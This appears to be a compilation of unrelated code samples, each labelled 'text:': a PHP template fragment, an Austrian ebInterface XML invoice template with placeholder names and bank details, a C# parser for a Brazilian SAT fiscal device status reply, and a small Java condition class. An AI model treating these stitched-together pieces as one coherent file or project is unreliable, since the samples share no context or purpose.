	[?php use_javascript('<?php echo sfConfig::get('sf_jquery_web_dir') ?>/js/plugins/<?php echo sfConfig::get('sf_jquery_ui', 'jquery-ui-1.7.3.custom.min.js') ?>', 'last') # JQ Date Picker JS (This can/should be consolidated with sfJqueryReloadedPlugin/js/jquery-ui-sortable...) ?]

[?php aTools::setAllowSlotEditing(false); ?]


text:
<?xml version="1.0" encoding="utf-8"?>
<eb:Invoice xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:sv="http://www.ebinterface.at/schema/4p1/extensions/sv" xmlns:ext="http://www.ebinterface.at/schema/4p1/extensions/ext" eb:DocumentType="Invoice" eb:InvoiceCurrency="EUR" xmlns:eb="http://www.ebinterface.at/schema/4p1/" eb:GeneratingSystem="ebInterface Word PlugIn an den Bund V4p1">
  <Vorlage>Das ist eine Vorlage für das ebinterface Word PlugIn und kann nicht als eRechnung eingebracht werden.</Vorlage>
  <eb:InvoiceNumber>2014-500</eb:InvoiceNumber>
  <eb:InvoiceDate>2014-03-19</eb:InvoiceDate>
  <eb:CancelledOriginalDocument>
    <eb:InvoiceNumber>STORNO123123</eb:InvoiceNumber>
    <eb:InvoiceDate>2014-01-20</eb:InvoiceDate>
    <eb:DocumentType>FinalSettlement</eb:DocumentType>
    <eb:Comment>Diese Schlussrechnung war leider falsch</eb:Comment>
  </eb:CancelledOriginalDocument>
  <eb:Delivery>
    <eb:Date>2014-03-19</eb:Date>
  </eb:Delivery>
  <eb:Biller>
    <eb:VATIdentificationNumber>ATU62612345</eb:VATIdentificationNumber>
    <eb:Address>
      <eb:Name>BPC</eb:Name>
      <eb:Street>Testgasse 5</eb:Street>
      <eb:Town>Irgendwo</eb:Town>
      <eb:ZIP>4711</eb:ZIP>
      <eb:Country eb:CountryCode="AT">Österreich</eb:Country>
      <eb:Email>michi@musterfrau.at</eb:Email>
      <eb:Contact>Michaela Musterfrau</eb:Contact>
    </eb:Address>
    <eb:InvoiceRecipientsBillerID>123456789</eb:InvoiceRecipientsBillerID>
  </eb:Biller>
  <eb:InvoiceRecipient>
    <eb:VATIdentificationNumber>00000000</eb:VATIdentificationNumber>
    <eb:OrderReference>
      <eb:OrderID>Z01</eb:OrderID>
    </eb:OrderReference>
    <eb:Address>
      <eb:Name>Bundesministerium</eb:Name>
      <eb:Street>Platz</eb:Street>
      <eb:Town>Wien</eb:Town>
      <eb:ZIP>1010</eb:ZIP>
      <eb:Country eb:CountryCode="AT">Österreich</eb:Country>
    </eb:Address>
    <eb:BillersInvoiceRecipientID>K100</eb:BillersInvoiceRecipientID>
  </eb:InvoiceRecipient>
  <eb:Details>
    <eb:HeaderDescription>Wir erlauben uns wie folgt zu verrechnen.</eb:HeaderDescription>
    <eb:ItemList>
      <eb:ListLineItem>
        <eb:PositionNumber>1</eb:PositionNumber>
        <eb:Description>Beratung</eb:Description>
        <eb:ArticleNumber>100</eb:ArticleNumber>
        <eb:Quantity eb:Unit="Tag">1.00</eb:Quantity>
        <eb:UnitPrice>1200.0000</eb:UnitPrice>
        <eb:VATRate>20.00</eb:VATRate>
        <eb:DiscountFlag>true</eb:DiscountFlag>
        <eb:ReductionAndSurchargeListLineItemDetails>
          <eb:ReductionListLineItem>
            <eb:BaseAmount>1200.00</eb:BaseAmount>
            <eb:Percentage>10.00</eb:Percentage>
          </eb:ReductionListLineItem>
        </eb:ReductionAndSurchargeListLineItemDetails>
        <eb:InvoiceRecipientsOrderReference>
          <eb:OrderID>Z01</eb:OrderID>
          <eb:OrderPositionNumber>1</eb:OrderPositionNumber>
        </eb:InvoiceRecipientsOrderReference>
        <eb:LineItemAmount>1080.00</eb:LineItemAmount>
      </eb:ListLineItem>
      <eb:ListLineItem>
        <eb:PositionNumber>2</eb:PositionNumber>
        <eb:Description>Verpflegung Seminar</eb:Description>
        <eb:ArticleNumber>200</eb:ArticleNumber>
        <eb:Quantity eb:Unit="Stk">5.00</eb:Quantity>
        <eb:UnitPrice>10.0000</eb:UnitPrice>
        <eb:VATRate>10.00</eb:VATRate>
        <eb:DiscountFlag>false</eb:DiscountFlag>
        <eb:InvoiceRecipientsOrderReference>
          <eb:OrderID>Z01</eb:OrderID>
          <eb:OrderPositionNumber>2</eb:OrderPositionNumber>
        </eb:InvoiceRecipientsOrderReference>
        <eb:LineItemAmount>50.00</eb:LineItemAmount>
      </eb:ListLineItem>
      <eb:ListLineItem>
        <eb:PositionNumber>3</eb:PositionNumber>
        <eb:Description>Portoauslagen</eb:Description>
        <eb:ArticleNumber>300</eb:ArticleNumber>
        <eb:Quantity eb:Unit="pauschal">1.00</eb:Quantity>
        <eb:UnitPrice>20.0000</eb:UnitPrice>
        <eb:VATRate>0.00</eb:VATRate>
        <eb:DiscountFlag>false</eb:DiscountFlag>
        <eb:InvoiceRecipientsOrderReference>
          <eb:OrderID>Z01</eb:OrderID>
          <eb:OrderPositionNumber>3</eb:OrderPositionNumber>
        </eb:InvoiceRecipientsOrderReference>
        <eb:LineItemAmount>20.00</eb:LineItemAmount>
      </eb:ListLineItem>
      <eb:ListLineItem>
        <eb:PositionNumber>4</eb:PositionNumber>
        <eb:Description>Seminarunterlagen</eb:Description>
        <eb:ArticleNumber>400</eb:ArticleNumber>
        <eb:Quantity eb:Unit="Stk">5.00</eb:Quantity>
        <eb:UnitPrice>5.0000</eb:UnitPrice>
        <eb:VATRate>20.00</eb:VATRate>
        <eb:DiscountFlag>false</eb:DiscountFlag>
        <eb:InvoiceRecipientsOrderReference>
          <eb:OrderID>Z01</eb:OrderID>
          <eb:OrderPositionNumber>4</eb:OrderPositionNumber>
        </eb:InvoiceRecipientsOrderReference>
        <eb:LineItemAmount>25.00</eb:LineItemAmount>
      </eb:ListLineItem>
    </eb:ItemList>
    <eb:FooterDescription>Wir danken für Ihren Auftrag.</eb:FooterDescription>
  </eb:Details>
  <eb:Tax>
    <eb:VAT>
      <eb:VATItem>
        <eb:TaxedAmount>1105.00</eb:TaxedAmount>
        <eb:VATRate>20.00</eb:VATRate>
        <eb:Amount>221.00</eb:Amount>
      </eb:VATItem>
      <eb:VATItem>
        <eb:TaxedAmount>50.00</eb:TaxedAmount>
        <eb:VATRate>10.00</eb:VATRate>
        <eb:Amount>5.00</eb:Amount>
      </eb:VATItem>
      <eb:VATItem>
        <eb:TaxedAmount>20.00</eb:TaxedAmount>
        <eb:VATRate>0.00</eb:VATRate>
        <eb:Amount>0.00</eb:Amount>
      </eb:VATItem>
    </eb:VAT>
  </eb:Tax>
  <eb:TotalGrossAmount>1401.00</eb:TotalGrossAmount>
  <eb:PayableAmount>1401.00</eb:PayableAmount>
  <eb:PaymentMethod>
    <eb:UniversalBankTransaction>
      <eb:BeneficiaryAccount>
        <eb:BankName>Musterbank</eb:BankName>
        <eb:BIC>NABAATWW</eb:BIC>
        <eb:IBAN>AT611904300234573201</eb:IBAN>
        <eb:BankAccountOwner>Musterfirma</eb:BankAccountOwner>
      </eb:BeneficiaryAccount>
    </eb:UniversalBankTransaction>
  </eb:PaymentMethod>
  <eb:PaymentConditions>
    <eb:DueDate>2014-04-19</eb:DueDate>
    <eb:Discount>
      <eb:PaymentDate>2014-03-24</eb:PaymentDate>
      <eb:Percentage>3.00</eb:Percentage>
      <eb:Amount>42.03</eb:Amount>
    </eb:Discount>
    <eb:Discount>
      <eb:PaymentDate>2014-03-29</eb:PaymentDate>
      <eb:Percentage>2.00</eb:Percentage>
      <eb:Amount>28.02</eb:Amount>
    </eb:Discount>
  </eb:PaymentConditions>
  <eb:PresentationDetails>
    <eb:URL>http://www.austriapro.at</eb:URL>
    <eb:SuppressZero>true</eb:SuppressZero>
  </eb:PresentationDetails>
</eb:Invoice>


text:
using System;
using System.Globalization;
using System.Text;
using ACBr.Net.Core.Extensions;

namespace ACBr.Net.Sat
{
	public sealed class StatusOperacionalResposta : SatResposta
	{
		#region Constructors

		public StatusOperacionalResposta(string retorno, Encoding encoding) : base(retorno, encoding)
		{
			ConfigRede = new SatRede();
			Status = new SatStatus();

			if (CodigoDeRetorno != 10000) return;

			switch (RetornoLst[6])
			{
				case "PPPoE":
					ConfigRede.TipoLan = TipoLan.PPPoE;
					break;

				case "IPFIX":
					ConfigRede.TipoLan = TipoLan.IPFIX;
					break;

				default:
					ConfigRede.TipoLan = TipoLan.DHCP;
					break;
			}

			ConfigRede.LanIp = RetornoLst[7];
			ConfigRede.LanMask = RetornoLst[9];
			ConfigRede.LanGateway = RetornoLst[10];
			ConfigRede.LanDNS1 = RetornoLst[11];
			ConfigRede.LanDNS2 = RetornoLst[12];

			Status.NSerie = RetornoLst[5];
			Status.LanMac = RetornoLst[8];
			switch (RetornoLst[13])
			{
				case "NAO_CONECTADO":
					Status.StatusLan = StatusLan.NaoConectado;
					break;

				default:
					Status.StatusLan = StatusLan.Conectado;
					break;
			}
			switch (RetornoLst[14])
			{
				case "ALTO":
					Status.NivelBateria = NivelBateria.Alto;
					break;

				case "MEDIO":
					Status.NivelBateria = NivelBateria.Medio;
					break;

				default:
					Status.NivelBateria = NivelBateria.Baixo;
					break;
			}
			Status.MTTotal = RetornoLst[15];
			Status.MTUsada = RetornoLst[16];
			Status.DhAtual = DateTime.ParseExact(RetornoLst[17], "yyyyMMddHHmmss", CultureInfo.InvariantCulture);
			Status.VerSb = RetornoLst[18];
			Status.VerLayout = RetornoLst[19];
			Status.UltimoCFe = RetornoLst[20];
			Status.ListaInicial = RetornoLst[21];

			var i = 22;
			//Workaround para leitura de Status do Emulador do Fisco, que não retorna o campo: LISTA_FINAL
			if (RetornoLst.Count > 27)
			{
				Status.ListaFinal = RetornoLst[i];
				i++;
			}
			Status.DhCFe = DateTime.ParseExact(RetornoLst[i], "yyyyMMddHHmmss", CultureInfo.InvariantCulture);
			i++;
			Status.DhUltima = DateTime.ParseExact(RetornoLst[i], "yyyyMMddHHmmss", CultureInfo.InvariantCulture);
			i++;
			Status.CertEmissao = DateTime.ParseExact(RetornoLst[i], "yyyyMMdd", CultureInfo.InvariantCulture);
			i++;
			Status.CertVencimento = DateTime.ParseExact(RetornoLst[i], "yyyyMMdd", CultureInfo.InvariantCulture);
			i++;
			var retStr = RetornoLst[i];
			if (retStr.IsNumeric())
				Status.EstadoOperacao = (EstadoOperacao)retStr.ToInt32();
			else
				switch (retStr)
				{
					case "BLOQUEIO_SEFAZ":
						Status.EstadoOperacao = EstadoOperacao.BloqueioSEFAZ;
						break;

					case "BLOQUEIO_CONTRIBUINTE":
						Status.EstadoOperacao = EstadoOperacao.BloqueioComtribuinte;
						break;

					case "BLOQUEIO_AUTONOMO":
						Status.EstadoOperacao = EstadoOperacao.BloqueioAutonomo;
						break;

					case "BLOQUEIO_DESATIVACAO":
						Status.EstadoOperacao = EstadoOperacao.BloqueioDesativacao;
						break;

					default:
						Status.EstadoOperacao = EstadoOperacao.Desbloqueado;
						break;
				}
		}

		#endregion Constructors

		#region Propriedades

		public SatRede ConfigRede { get; set; }

		public SatStatus Status { get; set; }

		#endregion Propriedades
	}
}


text:
package pl.themolka.arcade.condition;

public abstract class SingleCondition<K, V extends ConditionResult> implements Condition<K, V> {
    protected final Condition<K, V> condition;

    public SingleCondition(Condition<K, V> condition) {
        this.condition = condition;
    }

    @Override
    public V query(K k) {
        return this.query(k, this.condition);
    }

    public Condition<K, V> getCondition() {
        return this.condition;
    }

    public abstract V query(K k, Condition<K, V> condition);
}